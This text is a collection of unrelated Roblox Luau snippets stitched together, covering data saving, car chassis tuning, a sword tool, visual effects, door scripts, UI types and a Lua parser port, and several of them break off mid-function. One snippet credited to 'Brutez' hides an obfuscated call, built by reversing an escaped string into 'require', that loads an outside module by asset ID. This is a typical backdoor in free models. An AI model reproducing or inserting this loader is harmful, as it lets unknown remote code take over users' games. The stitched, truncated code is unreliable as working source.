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--Internal functions
function DataStore:Debug(...) if self.debug then print(...) end end function DataStore:_GetRaw() if self.getRawPromise then return self.getRawPromise end self.getRawPromise = self.savingMethod:Get():andThen(function(value) self.value = value self:Debug("value received") self.haveValue = true end):finally(function() self.getting = false end) return self.getRawPromise end function DataStore:_Update(dontCallOnUpdate) if not dontCallOnUpdate then for _,callback in pairs(self.callbacks) do callback(self.value, self) end end self.haveValue = true self.valueUpdated = true end
-- FUNCTIONS --
return function(TargetCF) local spikes = FX.Club.Z:Clone() spikes.PrimaryPart.CFrame = TargetCF local originalSizeList = { spikes.Floor["1"].Size, spikes.Floor["2"].Size, spikes.Floor["3"].Size, spikes.Floor["4"].Size, spikes.Floor["5"].Size, spikes.Floor["6"].Size, spikes.Floor["7"].Size, spikes.Floor["8"].Size, spikes.Floor["9"].Size, spikes.Floor["10"].Size, spikes.Floor["11"].Size, } local floorSize = spikes.Floor.Size spikes.Floor.Size = Vector3.new() spikes.Floor.Transparency = 1 coroutine.wrap(function() -- THREAD TO MAKE SPIKES INVISIBLE for i, v in pairs(spikes.Floor:GetChildren()) do if v:IsA("MeshPart") then v.Transparency = 1 v.Size = Vector3.new() end end end)() spikes.Parent = workspace.Debris local impactSFX = RS.Sounds.Club.Z.Impact:Clone() impactSFX.Parent = spikes.Floor impactSFX:Play() local expSFX = RS.Sounds.Club.Z.Explosion:Clone() expSFX.Parent = spikes.Floor expSFX:Play() coroutine.wrap(function() for i, v in pairs(spikes.Floor:GetChildren()) do if v:IsA("MeshPart") then local spikeIndex = tonumber(v.Name) v.Transparency = 0 TS:Create(v, TweenInfo.new(0.18, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = originalSizeList[spikeIndex]}):Play() local dustFX = spikes.Dust:Clone() dustFX.Parent = v dustFX:Emit(dustFX:GetAttribute("EmitCount")) task.wait(0.015) end end end)() spikes.Floor.Transparency = 0 TS:Create(spikes.Floor, TweenInfo.new(0.25, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = floorSize}):Play() local dustFX = spikes.Dust:Clone() dustFX.Parent = spikes.Floor dustFX:Emit(dustFX:GetAttribute("EmitCount")) debrisModule.Shockwave(TargetCF.Position, 25, 55) task.delay(4, function() --coroutine.wrap(function() for i, v in pairs(spikes.Floor:GetChildren()) do if v:IsA("MeshPart") then local spikeIndex = tonumber(v.Name) TS:Create(v, TweenInfo.new(0.35, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = Vector3.new()}):Play() task.wait(0.025) end end --end)() task.wait(0.3) TS:Create(spikes.Floor, TweenInfo.new(0.35, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = Vector3.new()}):Play() game.Debris:AddItem(spikes, 2) end) end
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 3 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 3 , -- Controller steering R-deadzone (0 - 100%) } Tune.KickdownWindow = .25 --Time (seconds) in which you must double click throttle key Tune.KickdownRPMCap = 5000 --RPM at which downshifts will no longer occur in the event of a kickdown Tune.LaunchBuildup = 6000 --RPM in which launch control will build up to --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.ButtonA , ContlrToggleABS = Enum.KeyCode.ButtonA , }
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 10 local lunge_damage = 30 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 damage_threads = {} debounce = false function blow(hit) if (hit.Parent == nil) or debounce then return end -- happens when bullet hits sword debounce = true local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil and hum.Health ~= 1 then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then --[[if damage >= humanoid.Health then humanoid.Health = 1 if not damage_threads[humanoid] then damage_threads[humanoid] = true delay(4,function() if humanoid ~= nil and humanoid.Health < 100 then humanoid.Health = 100 end damage_threads[humanoid] = false end) end else humanoid:TakeDamage(damage) end]] end end end debounce = false end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.HumanoidRootPart wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end health_checker = nil function onEquipped() UnsheathSound:play() local health = script.Parent.Parent:FindFirstChild("Humanoid") if health ~= nil then health_checker = health.HealthChanged:connect(function() wait() if health.Health == 1 then script.Parent.Parent = game.Workspace end end) end end function Unequipped() health_checker:disconnect() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(Unequipped) connection = sword.Touched:connect(blow)
-- An optional function that an Action's onActivated callback can return. This -- function gets called when the action is being deactivated so it can clean -- itself up
export type ActionTeardown = () -> () export type Action = { -- The name of the action. This is shown first in tooltips name: string, -- A description of the action. This is shown after the name in tooltips description: string?, -- Icon displayed on the action bar icon: string, -- Icon displayed on the action bar when the action is active. This can only -- be used on parent actions, not sub-actions activeIcon: string?, -- Optional list of sub-actions. This allows you to create submenus of -- various other actions actions: { Action }?, -- The parent is only set for sub-actions and points to the action that -- contains it parent: Action?, -- Can be set to `true` for a sub-action that acts as the default option isDefault: boolean?, -- Optional callback that gets run when activating an action or sub-action. -- Typically if an action contains sub-actions, only the sub-actions will -- have onActivated defined onActivated: ((self: Action, store: any) -> ActionTeardown?)?, } export type State = { -- The last action that was activated. This can be any of the top-level -- actions or a sub-action lastActivatedAction: Action?, -- The current action that was activated that contains sub-actions parentAction: Action?, -- The active actions are stored in the state so that when an action is -- toggled it triggers a re-render. activeActions: { Action }, -- Whether or not the submenu is shown. This happens when an action that has -- sub-actions has been activated isSubmenuShown: boolean, } return {}
--[[ By: Brutez. ]]-- --[[ Last synced 11/11/2020 02:25 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--// KEYLESS ENTRY V2
script.Parent:WaitForChild("Car") local car = script.Parent.Car.Value local plr = game.Players.LocalPlayer local day = 390 local night = 1050 local input = "" if car.DriveSeat.Values.Seatlock.Value == false then car.Filter:FireServer("lock",true) car.DriveSeat.FE_Lights:FireServer("flash") else car.Filter:FireServer("lock",false) car.DriveSeat.FE_Lights:FireServer("flash") wait(1/2) car.DriveSeat.FE_Lights:FireServer('flash') end wait(.1) script.Parent:Destroy()
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:Disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then
--[[ @brief Finds the object in the heap and reduces its value. @details Note: this is not an efficient operation. It runs in O(n) time where n is the size of the heap. --]]
function Heap:HeapifyObject(element) for i = 1, #self do if self[i] == element then self:_HeapifyBottomUp(i); break; end end end function Heap.new() return setmetatable({}, Heap.Meta); end return Heap;
--------LEFT DOOR 6--------
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
--// -- Confetti Cannon by Richard, Onogork 2018. --//
local svcRun = game:GetService("RunService"); local ConfettiCannon = require(script.ConfettiParticles); ConfettiCannon.setGravity(Vector2.new(0,1)); local confetti = {};
--[=[ @param signal RBXScriptSignal @param fn (...: any) -> () @return RBXScriptConnection Connects the function to the signal, adds the connection to the trove, and then returns the connection. This is shorthand for `trove:Add(signal:Connect(fn))`. ```lua trove:Connect(workspace.ChildAdded, function(instance) print(instance.Name .. " added to workspace") end) ``` ]=]
function Trove:Connect(signal, fn) if self._cleaning then error("Cannot call trove:Connect() while cleaning", 2) end return self:Add(signal:Connect(fn)) end
------------------ CONSTANTS --------------------
local SELECTED_COLOR = Color3.fromRGB(0,162,255) local NON_SELECTED_COLOR = Color3.fromRGB(78,84,96) local ARROW_COLOR = Color3.fromRGB(204, 204, 204) local ARROW_COLOR_HOVER = Color3.fromRGB(255, 255, 255) local ARROW_COLOR_TOUCH = ARROW_COLOR_HOVER local ARROW_COLOR_INACTIVE = Color3.fromRGB(150, 150, 150) local SELECTED_LEFT_IMAGE = "rbxasset://textures/ui/Settings/Slider/SelectedBarLeft.png" local NON_SELECTED_LEFT_IMAGE = "rbxasset://textures/ui/Settings/Slider/BarLeft.png" local SELECTED_RIGHT_IMAGE = "rbxasset://textures/ui/Settings/Slider/SelectedBarRight.png" local NON_SELECTED_RIGHT_IMAGE= "rbxasset://textures/ui/Settings/Slider/BarRight.png" local CONTROLLER_SCROLL_DELTA = 0.2 local CONTROLLER_THUMBSTICK_DEADZONE = 0.8 local DROPDOWN_BG_TRANSPARENCY = 0.2
-- LocalScript
local numValue = Player.Salario.Money -- substitua "NumValue" pelo nome da sua NumberValue local textLabel = script.Parent -- substitua "TextLabel" pelo nome do seu TextLabel
--[[Run]]
--Print Version local ver=require(car["A-Chassis Tune"].README) print("Novena: AC6T Loaded - Build "..ver) --Runtime Loops -- ~60 c/s game["Run Service"].Stepped:connect(function() --Steering Steering() --Power Engine() --Update External Values _IsOn = car.DriveSeat.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Boost.Value = (_Boost/2)*_TPsi script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.HpNatural.Value = _NH script.Parent.Values.HpBoosted.Value = _BH*(_Boost/2) script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TqNatural.Value = _NT script.Parent.Values.TqBoosted.Value = _BT*(_Boost/2) script.Parent.Values.Throttle.Value = _GThrot*_GThrotShift script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.TCSAmt.Value = 1-_TCSAmt script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity script.Parent.Values.TransmissionMode.Value = _TMode if car.DriveSeat.AWD.Value then -- SET AWD car.DriveSeat:WaitForChild("Rev").Volume = 0.5 car.DriveSeat:WaitForChild("Idle").Volume = 0.5 car.DriveSeat:WaitForChild("Startup").Volume = 0.34 else --make RWD car.DriveSeat:WaitForChild("Idle").Volume = 1.3 car.DriveSeat:WaitForChild("Rev").Volume = 1.3 car.DriveSeat:WaitForChild("Startup").Volume = 1 end if car.DriveSeat.CC.Value == true then if (car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) - 2 > car.DriveSeat.CCS.Value then _CBrake = 0.15 else _CThrot = 0.9 end else _CBrake = 0 _CThrot = 0 end if car.DriveSeat.SST.Value then if (_RPM - 10) <= _Tune.IdleRPM then if (_GBrake > 0.05) or (_PBrake == true) then car.DriveSeat.Tic.Value = true else car.DriveSeat.Tic.Value = false end end else car.DriveSeat.Tic.Value = false end if _GBrake > 0 then car.DriveSeat.CC.Value = false end end) function AWD() if car.DriveSeat.AWD.Value then -- SET AWD if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.insert(Drive,v) end end end else --make RWD if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.remove(Drive,3) table.remove(Drive,4) end end end end end car.DriveSeat.AWD.Changed:connect(function() AWD() end) AWD() --15 c/s while wait(.0667) do --Automatic Transmission if _TMode == "Auto" then Auto() end --Flip if _Tune.AutoFlip then Flip() end end
--Load Nexus VR Character Model.
NexusVRCharacterModelModule:SetConfiguration(Configuration) NexusVRCharacterModelModule:Load()
---------END LEFT DOOR
game.Workspace.DoorValues.BackMoving.Value = true wait(0.1) until game.Workspace.DoorValues.BackClose.Value=="66" --how much you want to open - the lower the number, the wider the door opens. end game.Workspace.DoorValues.Moving.Value = false end end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{64,66,19,20,58},t}, [49]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{64,66,19},t}, [59]={{64,66,19,20,57,56,30,41,59},t}, [63]={{64,66,63},t}, [34]={{64,66,19,20,57,56,30,41,39,35,34},t}, [21]={{64,66,19,20,21},t}, [48]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{64,66,19,20,57,56,30,41,39,35,34,32,31},t}, [56]={{64,66,19,20,57,56},t}, [29]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45},t}, [57]={{64,66,19,20,57},t}, [36]={{64,66,19,20,57,56,30,41,39,35,37,36},t}, [25]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{64,66,19,20,57,56,30,41,59,61,71},t}, [20]={{64,66,19,20},t}, [60]={{64,66,19,20,57,56,30,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{64,66,19,20,57,56,30,41,59,61,71,72,76,73,75},t}, [22]={{64,66,19,20,21,22},t}, [74]={{64,66,19,20,57,56,30,41,59,61,71,72,76,73,74},t}, [62]={{64,66,63,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{64,66,19,20,57,56,30,41,39,35,37},t}, [2]={n,f}, [35]={{64,66,19,20,57,56,30,41,39,35},t}, [53]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{64,66,19,20,57,56,30,41,59,61,71,72,76,73},t}, [72]={{64,66,19,20,57,56,30,41,59,61,71,72},t}, [33]={{64,66,19,20,57,56,30,41,39,35,37,36,33},t}, [69]={{64,66,19,20,57,56,30,41,60,69},t}, [65]={{64,65},t}, [26]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26},t}, [68]={{64,67,68},t}, [76]={{64,66,19,20,57,56,30,41,59,61,71,72,76},t}, [50]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{64,66},t}, [10]={n,f}, [24]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{64,66,63,62,23},t}, [44]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44},t}, [39]={{64,66,19,20,57,56,30,41,39},t}, [32]={{64,66,19,20,57,56,30,41,39,35,34,32},t}, [3]={n,f}, [30]={{64,66,19,20,57,56,30},t}, [51]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{64,67},t}, [61]={{64,66,19,20,57,56,30,41,59,61},t}, [55]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{64,66,19,20,57,56,30,41,39,40,38,42},t}, [40]={{64,66,19,20,57,56,30,41,39,40},t}, [52]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{64,66,19,20,57,56,30,41},t}, [17]={n,f}, [38]={{64,66,19,20,57,56,30,41,39,40,38},t}, [28]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{64},t}, } return r
--!nonstrict
type TableData = { Type: string, Table: {string}|string, Setting: string?, Value: any?, LaxCheck: boolean?, Action: string?, Time: number? }
---
script.Parent.Values.Gear.Changed:connect(function() if script.Parent.Values.Gear.Value == -1 then for index, child in pairs(car.Body.Light.Rev:GetChildren()) do child.Material = Enum.Material.Neon car.DriveSeat.Reverse:Play() end else for index, child in pairs(car.Body.Light.Rev:GetChildren()) do child.Material = Enum.Material.SmoothPlastic car.DriveSeat.Reverse:Stop() end end end) while wait() do if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300 car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150) else car.DriveSeat.Reverse.Pitch = 1.3 car.DriveSeat.Reverse.Volume = .2 end end
-- INTERFACE
export type ContainerUI = Frame & { } export type SelectUI = Frame & { Hover: ImageLabel } export type VignetteUI = Frame & { Black: ImageLabel, Darkness: ImageLabel, Hurt: ImageLabel, Latex: ImageLabel } export type InterfaceUI = ScreenGui & { Container: ContainerUI, Select: SelectUI, Vignette: VignetteUI } export type InterfaceType = { UI: InterfaceUI, Container: ContainerUI }
--[[** <description> Saves the data to the data store. Called when a player leaves. </description> **--]]
function DataStore:Save() if not self.valueUpdated then warn(("Data store %s was not saved as it was not updated."):format(self.Name)) return end if RunService:IsStudio() and not SaveInStudio then warn(("Data store %s attempted to save in studio while SaveInStudio is false."):format(self.Name)) if not SaveInStudioObject then warn("You can set the value of this by creating a BoolValue named SaveInStudio in ServerStorage.") end return end if self.backup then warn("This data store is a backup store, and thus will not be saved.") return end if self.value ~= nil then local save = clone(self.value) if self.beforeSave then local success, newSave = pcall(self.beforeSave, save, self) if success then save = newSave else warn("Error on BeforeSave: "..newSave) return end end if not Verifier.warnIfInvalid(save) then return warn("Invalid data while saving") end local success, problem = self.savingMethod:Set(save) if not success then -- TODO: Something more robust than this error("save error! " .. tostring(problem)) end for _, afterSave in pairs(self.afterSave) do local success, err = pcall(afterSave, save, self) if not success then warn("Error on AfterSave: "..err) end end print("saved "..self.Name) end end
------------------------------------------------------------------------ -- * mark upvalue flags in function states up to a given level -- * used only in singlevaraux() ------------------------------------------------------------------------
function luaY:markupval(fs, level) local bl = fs.bl while bl and bl.nactvar > level do bl = bl.previous end if bl then bl.upval = true end end
--[[ Stores templates for different kinds of logging messages. ]]
return { cannotAssignProperty = "The class type '%s' has no assignable property '%s'.", cannotConnectChange = "The %s class doesn't have a property called '%s'.", cannotConnectEvent = "The %s class doesn't have an event called '%s'.", cannotCreateClass = "Can't create a new instance of class '%s'.", computedCallbackError = "Computed callback error: ERROR_MESSAGE", invalidSpringDamping = "The damping ratio for a spring must be >= 0. (damping was %.2f)", invalidSpringSpeed = "The speed of a spring must be >= 0. (speed was %.2f)", pairsDestructorError = "ComputedPairs destructor error: ERROR_MESSAGE", pairsProcessorError = "ComputedPairs callback error: ERROR_MESSAGE", springTypeMismatch = "The type '%s' doesn't match the spring's type '%s'.", strictReadError = "'%s' is not a valid member of '%s'.", unknownMessage = "Unknown error: ERROR_MESSAGE", unrecognisedChildType = "'%s' type children aren't accepted as children in `New`.", unrecognisedPropertyKey = "'%s' keys aren't accepted in the property table of `New`" }
-- Get references to the DockShelf and the AppManager frame
local gui = script.Parent.Parent.Parent.AppManager.Settings local openGui = gui.Main.Settings local TweenService = game:GetService("TweenService")
--!strict
local Array = script.Parent local isArray = require(Array.isArray) local LuauPolyfill = Array.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T> return function<T>(value: Array<T>): T? if _G.__DEV__ then if not isArray(value) then error(string.format("Array.shift called on non-array %s", typeof(value))) end end if #value > 0 then return table.remove(value, 1) else return nil end end
-------------------- --| Script Logic |-- --------------------
Tool.Equipped:connect(OnEquipped) Tool.Activated:connect(OnActivated) Tool.Unequipped:connect(OnUnequipped) Tool.ChildAdded:connect(OnChildAdded) --NOTE: Added for Action Button
--[[ Linearly interpolates the given animatable types by a ratio. If the types are different or not animatable, then the first value will be returned for ratios below 0.5, and the second value for 0.5 and above. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local Oklab = require(Package.Colour.Oklab) local function lerpType(from: Types.Animatable | any, to: Types.Animatable | any, ratio: number): Types.Animatable | any local typeString = typeof(from) if typeof(to) == typeString then -- both types must match for interpolation to make sense if typeString == "number" then return (to - from) * ratio + from elseif typeString == "CFrame" then return from:Lerp(to, ratio) elseif typeString == "Color3" then local fromLab = Oklab.to(from) local toLab = Oklab.to(to) return Oklab.from( fromLab:Lerp(toLab, ratio), false ) elseif typeString == "ColorSequenceKeypoint" then local fromLab = Oklab.to(from.Value) local toLab = Oklab.to(to.Value) return ColorSequenceKeypoint.new( (to.Time - from.Time) * ratio + from.Time, Oklab.from( fromLab:Lerp(toLab, ratio), false ) ) elseif typeString == "DateTime" then return DateTime.fromUnixTimestampMillis( (to.UnixTimestampMillis - from.UnixTimestampMillis) * ratio + from.UnixTimestampMillis ) elseif typeString == "NumberRange" then return NumberRange.new( (to.Min - from.Min) * ratio + from.Min, (to.Max - from.Max) * ratio + from.Max ) elseif typeString == "NumberSequenceKeypoint" then return NumberSequenceKeypoint.new( (to.Time - from.Time) * ratio + from.Time, (to.Value - from.Value) * ratio + from.Value, (to.Envelope - from.Envelope) * ratio + from.Envelope ) elseif typeString == "PhysicalProperties" then return PhysicalProperties.new( (to.Density - from.Density) * ratio + from.Density, (to.Friction - from.Friction) * ratio + from.Friction, (to.Elasticity - from.Elasticity) * ratio + from.Elasticity, (to.FrictionWeight - from.FrictionWeight) * ratio + from.FrictionWeight, (to.ElasticityWeight - from.ElasticityWeight) * ratio + from.ElasticityWeight ) elseif typeString == "Ray" then return Ray.new( from.Origin:Lerp(to.Origin, ratio), from.Direction:Lerp(to.Direction, ratio).Unit * (to.Direction.Magnitude - from.Direction.Magnitude) * ratio + from.Direction.Magnitude ) elseif typeString == "Rect" then return Rect.new( from.Min:Lerp(to.Min, ratio), from.Max:Lerp(to.Max, ratio) ) elseif typeString == "Region3" then -- FUTURE: support rotated Region3s if/when they become constructable local position = from.CFrame.Position:Lerp(to.CFrame.Position, ratio) local halfSize = from.Size:Lerp(to.Size, ratio) / 2 return Region3.new(position - halfSize, position + halfSize) elseif typeString == "Region3int16" then return Region3int16.new( Vector3int16.new( (to.Min.X - from.Min.X) * ratio + from.Min.X, (to.Min.Y - from.Min.Y) * ratio + from.Min.Y, (to.Min.Z - from.Min.Z) * ratio + from.Min.Z ), Vector3int16.new( (to.Max.X - from.Max.X) * ratio + from.Max.X, (to.Max.Y - from.Max.Y) * ratio + from.Max.Y, (to.Max.Z - from.Max.Z) * ratio + from.Max.Z ) ) elseif typeString == "UDim" then return UDim.new( (to.Scale - from.Scale) * ratio + from.Scale, (to.Offset - from.Offset) * ratio + from.Offset ) elseif typeString == "UDim2" then return from:Lerp(to, ratio) elseif typeString == "Vector2" then return from:Lerp(to, ratio) elseif typeString == "Vector2int16" then return Vector2int16.new( (to.X - from.X) * ratio + from.X, (to.Y - from.Y) * ratio + from.Y ) elseif typeString == "Vector3" then return from:Lerp(to, ratio) elseif typeString == "Vector3int16" then return Vector3int16.new( (to.X - from.X) * ratio + from.X, (to.Y - from.Y) * ratio + from.Y, (to.Z - from.Z) * ratio + from.Z ) end end -- fallback case: the types are different or not animatable if ratio < 0.5 then return from else return to end end return lerpType
------------------------------------------------------------------------ -- create a chunk reader from a source file ------------------------------------------------------------------------ --[[ function luaZ:make_getF(filename) local LUAL_BUFFERSIZE = 512 local h = io.open(filename, "r") if not h then return nil end return function() -- chunk reader anonymous function here if not h or io.type(h) == "closed file" then return nil end local buff = h:read(LUAL_BUFFERSIZE) if not buff then h:close(); h = nil end return buff end end --]] ------------------------------------------------------------------------ -- creates a zio input stream -- returns the ZIO structure, z ------------------------------------------------------------------------
function luaZ:init(reader, data, name) if not reader then return end local z = {} z.reader = reader z.data = data or "" z.name = name -- set up additional data for reading if not data or data == "" then z.n = 0 else z.n = #data end z.p = 0 return z end
--local joystickWidth = 250 --local joystickHeight = 250
